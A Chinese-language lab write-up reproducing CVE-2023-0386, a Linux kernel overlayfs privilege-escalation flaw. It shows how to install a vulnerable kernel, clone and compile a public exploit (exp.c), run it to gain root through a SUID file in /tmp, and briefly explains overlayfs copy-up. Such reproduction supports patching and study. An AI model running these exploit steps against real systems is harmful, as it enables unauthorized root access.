漏洞名称:linux提权
威胁等级:高
影响范围:linux内核版本:v5.11-rc1 至 v6.2-rc5
漏洞类型:提权漏洞
一、影响版本
二、漏洞描述
三、环境搭建
linux-modules-5.12.0-051200rc1-generic_5.12.0-051200rc1.202103032009_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.12-rc1/amd64/linux-modules-5.12.0-051200rc1-generic_5.12.0-051200rc1.202103032009_amd64.deb
linux-image-unsigned-5.12.0-051200rc1-generic_5.12.0-051200rc1.202103032009_amd64.deb
wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.12-rc1/amd64/linux-image-unsigned-5.12.0-051200rc1-generic_5.12.0-051200rc1.202103032009_amd64.deb
安装内核模块(这个是后面的依赖)
apt install ./linux-modules-5.12.0-051200rc1-generic_5.12.0-051200rc1.202103032009_amd64.deb
同理安装内核:
apt install ./linux-image-unsigned-5.12.0-051200rc1-generic_5.12.0-051200rc1.202103032009_amd64.deb
查看已经安装的内核,其中'linux-image-unsigned-5.12.0-051200rc1-generic'为我们需要的内核版本:
dpkg --list | grep linux-image
reboot重启后,即更换为内核的漏洞版本:
四、漏洞复现
https://github.com/chenaotian/CVE-2023-0386/blob/main/exp.c
git clone https://github.com/chenaotian/CVE-2023-0386
通过gcc 编译exp(这部分可能会报错,报错内容网上基本都能查到,都是缺少对应的lib库):
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
例子:报错(缺少<fuse.h>):
缺少fuse.h,是缺少libfuse-dev依赖库导致,通过apt包管理器安装相应的库
apt-get install libfuse-dev
apt-get install pkg-config
运行Exploit:
./exp /tmp
Exploit运行的过程中,它会在/tmp目录下创建一个SUID文件,用来提升权限。如图所示,已提升至root权限。
五、漏洞分析
什么意思呢,做个实验:创建个基本的overlay文件结构,lower upper work merged文件夹,并创建一个文件在lower层file.txt
。
mkdir lower upper work merged
echo "this is a file in lower" > lower/file.txt
当前的目录结构
将此目录挂载为overlay文件系统
mount -t overlay overlay -o lowerdir=lower,upperdir=upper,workdir=work merged
此时发现挂载为overlay文件系统后 ,会将lower和upper合并为merged,故出现merged/file.txt
如果我们在merged层创建个文件testfile,此文件会被copy到upper层:
如果我们对最开始的文件file.txt,进行修改,发现在overlay文件系统中“合并视图(merged)“处的lower层文件,修改此file.txt,会将文件复制到upper进行修改。
文章来源:
更多关于suid提权和fuse文件系统的内容见如下链接。
中国电信SRC
https://mp.weixin.qq.com/s/C0A3UNBb4Akq_3JQlHrk9w